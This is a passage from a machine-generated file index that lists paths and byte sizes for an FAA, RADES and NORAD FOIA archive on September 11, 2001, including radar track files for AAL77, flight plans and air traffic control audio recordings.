"FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 IAD 6 CDR extraction outmsg12.txt", "length": 1018375}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 IAD 6 CDR extraction outmsg2.txt", "length": 41603}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 IAD 6 CDR extraction outmsg31.txt", "length": 26801}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 IAD 6 CDR extraction outmsg32.txt", "length": 1711563}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 IAD 6 CDR extraction TempFile.txt", "length": 26641}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 IAD 6 CDR extraction Zip disk index handwritten.pdf", "length": 99833}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 IAD 7 Data CDR Table Aircraft Position Outbound IAD.pdf", "length": 19364}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 IAD 8 Data CDR Plot Aircraft Track Outbound IAD.pdf", "length": 18577}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 IAD 9 Data CDR Table Aircraft Position Inbound Pentagon.pdf", "length": 234797}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZDC 100 NTAP AAL77B Run 9-12-01.pdf", "length": 14176140}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZDC 104 DART AAL77.pdf", "length": 15340059}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZDC 105 DART LOOK1.pdf", "length": 77818477}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZDC 106 DART AAL77.pdf", "length": 144808853}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZDC 113 AAL77.TXT", "length": 626828}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZDC 114 AAL77 NTAP.txt", "length": 78336}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZDC 64 Flight Plans 1 of 3.txt", "length": 2856179}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZDC 64 Flight Plans 2 of 3.txt", "length": 2626659}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZDC 64 Flight Plans 3 of 3.txt", "length": 1049759}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZDC 65 AAL77A1.TXT", "length": 20725}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZDC 65 aal77a1a.txt", "length": 561382}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZDC 65 AAL77A2.TXT", "length": 15670}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZDC 65 AAL77A3.TXT", "length": 18996}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZDC 65 aal77b1b.txt", "length": 1321728}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZDC 65 aal77c.txt", "length": 30173}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZDC 68 AAL77A1.TXT", "length": 20725}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZDC 68 aal77a1a.txt", "length": 561382}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZDC 68 AAL77A2.TXT", "length": 15670}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZDC 68 AAL77A3.TXT", "length": 18996}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZDC 68 aal77b1b.txt", "length": 1321728}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZDC 68 aal77c.txt", "length": 30173}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZDC 68 aalzoom.gif", "length": 31758}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZDC 68 iNtap1.txt", "length": 14753}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZDC 68 iNtap2.txt", "length": 16344}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZDC 68 iNtap3.txt", "length": 7313}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZDC 68 iNtap4.txt", "length": 11074}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZDC 68 ntap AAL 9-11-01.txt", "length": 37730}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZDC 68 ualaal.gif", "length": 76610}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZDC 721 dartzdc1.txt", "length": 449847}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZDC 721 dartzdc2.txt", "length": 1700296}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZDC 721 ntapzdc1.txt", "length": 351209}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZDC 721 ntapzdc2.txt", "length": 796926}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZDC 721 ntapzdc4.txt", "length": 147992}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZDC 94 NTAP AAL77A Run 9-12-01.pdf", "length": 52953305}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZDC 98 NTAP AAL77 Run 9-12-01.pdf", "length": 181045260}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 132 ZID and ZDC boundary NTAP info (AAL77).pdf", "length": 69952}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 26 Memorandum AAL77 Flight Path Information.pdf", "length": 381716}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 28 ACES View.pdf", "length": 2487807}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 37 DART- 3 part 123500-131000 UTC.pdf", "length": 33940541}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 39 DART 3 part 120000-123500 UTC.pdf", "length": 13176809}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 42 NTAP.pdf", "length": 414472}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 422 cmd_syntax.REPORT", "length": 20659}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 422 dc.162", "length": 501368}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 422 dc.283", "length": 55640}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 422 DDISPFK.DADP", "length": 4079}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 422 DWARPFK.DADP", "length": 864}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 43 NTAP.pdf", "length": 248702}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 44 NTAP.pdf", "length": 387192}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 45 NTAP.pdf", "length": 205022}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 46 NTAP.pdf", "length": 185735}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 47 NTAP.pdf", "length": 254211}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 48 ntap AAL 9-11-01.txt", "length": 37730}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 49 NTAP1.TXT", "length": 14753}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 49 NTAP2.TXT", "length": 16344}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 49 NTAP3.TXT", "length": 7313}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 49 NTAP4.TXT", "length": 11074}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 50 aal77dart1.txt", "length": 92761}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 51 aal77Dart2 dart2pb.txt", "length": 3271611}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 51 AAL77Dart2_dart2pb.txt", "length": 3271611}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 52 AAL77DART3_AALdart3.txt", "length": 3289938}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 52 AAL77DARTS3 AALdart3.txt", "length": 3289938}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 53 AAL77 Dart4.txt", "length": 938158}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 54 QBE Beacon Data.pdf", "length": 1375101}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 55 QBE2 Primary Targets.pdf", "length": 230305}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 56 QBE3 Primary Targets.pdf", "length": 248721}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 57 QBE4 Primary Targets.pdf", "length": 281328}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 58 QBE5 Primary Targets.pdf", "length": 353982}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 61 Hand written range.pdf", "length": 151406}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 715 Radar Track of AAL77.pdf", "length": 30378}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 72 AAL77c_ZID.jpg", "length": 49414}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 74 AAL77b_ZID.jpg", "length": 49414}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 75 aal77d_ZID.txt", "length": 92761}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 75 AAL77e_ZID.txt", "length": 938158}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 75 AAL77f_ZID.txt", "length": 37730}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 75 AAL77g_ZID aal77 dart.txt", "length": 92761}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 75 AAL77g_ZID dart2pw.txt", "length": 3289938}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 75 AAL77g_ZID_aal77 dart.txt", "length": 92761}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 75 AAL77g_ZID_dart2pw.txt", "length": 3289938}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 75 AAL77h_ZID dart2pb.txt", "length": 3271611}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 75 AAL77h_ZID_dart2pb.txt", "length": 3271611}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 833 dartzid1.txt", "length": 196030}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 ZID 833 dartzid2.txt", "length": 2222261}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/1 IAD 12 PDC AAL77.PDF", "length": 9159}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/1 IAD 15 DATA FLIGHT PROGRESS STRIP 1343UTC.PDF", "length": 66000}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 10 POS T-2, ASST LCS 1200-1245 UTC.mp3", "length": 45120682}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 10 POS T-2, ASST LCS 1245-1330 UTC.mp3", "length": 45088081}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 11 POS T-2, ASST LCS 1330-1415 UTC.mp3", "length": 42416068}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 11 POS T-2, ASST LCS 1415-1500 UTC.mp3", "length": 44196574}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 12 POS T-2, ASST LCS 1500-1545UTC.mp3", "length": 42959833}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 12 POS T-2, ASST LCS 1545-1600 UTC.mp3", "length": 15066491}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 13 POS T-3, ASST LCN 1200-1245.mp3", "length": 43967532}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 13 POS T-3, ASST LCN 1245-1330.mp3", "length": 42567787}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 14 POS T-3, ASST LCN 1330-1415 UTC.mp3", "length": 43081877}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 14 POS T-3, ASST LCN 1415-1500 UTC.mp3", "length": 43239448}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 15 POS T-3, ASST LCN 1500-1545 UTC.mp3", "length": 45617217}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 15 POS T-3, ASST LCN 1545-1600 UTC.mp3", "length": 15741077}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 16 POS T-4, LCN 1200-1245 UTC.mp3", "length": 45690778}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 16 POS T-4, LCN 1245-1330 UTC.mp3", "length": 42892959}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 17 POS T-4, LCN 1330-1415 UTC.mp3", "length": 43759389}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 17 POS T-4, LCN 1415-1500 UTC.mp3", "length": 46596496}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 18 POS T-4, LCN 1500-1530 UTC.mp3", "length": 28327918}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 18 POS T-4, LCN 1530-1600 UTC.mp3", "length": 34841394}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 19 POS T-5 CD 1200-1245 UTC.mp3", "length": 43169648}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 19 POS T-5 CD 1245-1330 UTC.mp3", "length": 43451771}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 20 POS T-5 CD 1330-1415 UTC.mp3", "length": 46313955}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 20 POS T-5 CD 1415-1500 UTC.mp3", "length": 43425021}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 21 POS T-5 CD 1500-1530 UTC.mp3", "length": 46141756}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 21 POS T-5 CD 1530-1600 UTC.mp3", "length": 31610987}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 22 POS T-6 TOWER SUP 1200-1345 UTC.mp3", "length": 45235203}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 22 POS T-6 TOWER SUP 1245-1330 UTC.mp3", "length": 43050530}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 23 POS T-6 TOWER SUP 1330-1415 UTC.mp3", "length": 45440421}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 23 POS T-6 TOWER SUP 1415-1500 UTC.mp3", "length": 43156274}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 24 POS T-6 TOWER SUP 1500-1530 UTC.mp3", "length": 28964052}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 24 POS T-6 TOWER SUP 1530-1600 UTC.mp3", "length": 29404163}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 25 POS T-14 ATIS 1200-1245 UTC.mp3", "length": 43972130}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 25 POS T-14 ATIS 1245-1330 UTC.mp3", "length": 45520669}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 26 POS T-14 ATIS 1330-1415 UTC.mp3", "length": 44490817}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 26 POS T-14 ATIS 1415-1500 UTC.mp3", "length": 43092326}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 27 POS T-14 ATIS 1500-1545 UTC.mp3", "length": 44822259}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 27 POS T-14 ATIS 1545-1600 UTC.mp3", "length": 16955248}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 28 POS T-8 AR-1 1200-1245 UTC.mp3", "length": 44619967}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 28 POS T-8 AR-1 1245-1330 UTC.mp3", "length": 45459647}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 29 POS T-8 AR-1 1330-1415 UTC.mp3", "length": 40891353}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 29 POS T-8 AR-1 1415-1500 UTC.mp3", "length": 43242373}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 30 POS T-8 AR-1 1500-1530 UTC.mp3", "length": 46146354}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 30 POS T-8 AR-1 1530-1600 UTC.mp3", "length": 31537844}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 31 POS T-9 RHO 1200-1245 UTC.mp3", "length": 43605162}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 31 POS T-9 RHO 1245-1330 UTC.mp3", "length": 46071957}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 32 POS T-9 RHO 1330-1415 UTC.mp3", "length": 43437142}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 32 POS T-9 RHO 1415-1500 UTC.mp3", "length": 45875516}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 33 POS T-9 RHO 1500-1530 UTC.mp3", "length": 45850439}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 33 POS T-9 RHO 1530-1600 UTC.mp3", "length": 29864754}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 34 POS T-10 AR-2 1200-1245 UTC.mp3", "length": 45615545}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 34 POS T-10 AR-2 1245-1330 UTC.mp3", "length": 45544492}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 35 POS T-10 AR-2 1330-1415 UTC.mp3", "length": 43089400}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 35 POS T-10 AR-2 1415-1500 UTC.mp3", "length": 43167976}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 8 POS T-1, GRND CNTL 1330-1415 UTC.mp3", "length": 43368597}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 8 POS T-1, GRND CNTL 1415-1500 UTC.mp3", "length": 45564972}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 9 POS T-1, GRND CNTL 1500-1545 UTC.mp3", "length": 45839990}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/adw/5 ADW 9 POS T-1, GRND CNTL 1545-1600 UTC.mp3", "length": 16615030}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/1 DCA 100 F1 1302-1319 UTC.mp3", "length": 17105296}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/1 DCA 100 F1 1332-1344 UTC.mp3", "length": 11761270}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/1 DCA 101-102 Tape 1-2 F2 1327-1450 UTC.mp3", "length": 80166977}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/1 DCA 101-102 Tape 1-2 F2 1440-1600 UTC.mp3", "length": 75687709}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/1 DCA 103 DC 1329-1345 UTC, 1418-1428 UTC, 1455-1510 UTC, 1521-1535 UTC.mp3", "length": 36012515}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/1 DCA 104 SWANN 1500-1600 UTC.mp3", "length": 57868437}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/1 DCA 105 ENSUE 1503-1513 UTC.mp3", "length": 9086331}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/1 DCA 105 TYSON 1324-1350 UTC.mp3", "length": 24549149}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/1 DCA 106 FDR 1335-1343 UTC, 1340-1350 UTC, 1422-1432 UTC.mp3", "length": 7964528}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/1 DCA 106 FDR 1340-1350 UTC.mp3", "length": 9673563}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/1 DCA 106 FDR 1438-1448 UTC.mp3", "length": 20261723}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/1 DCA 106 FDR 1511-1521 UTC.mp3", "length": 10241152}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/1 DCA 107 F2 2222-2231 UTC, LCN 2248-2254 UTC.mp3", "length": 14907248}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/1 DCA 108 F2 1332-1344 UTC.mp3", "length": 11993237}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/1 DCA 108 KRANT 1329-1344 UTC.mp3", "length": 14498066}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/1 DCA 108 TYSON 1325-1348.mp3", "length": 23454514}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/1 DCA 109 DEP 1334-1345 UTC.mp3", "length": 10373227}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa_atc/dca/1 DCA 109 F1 1332-1344 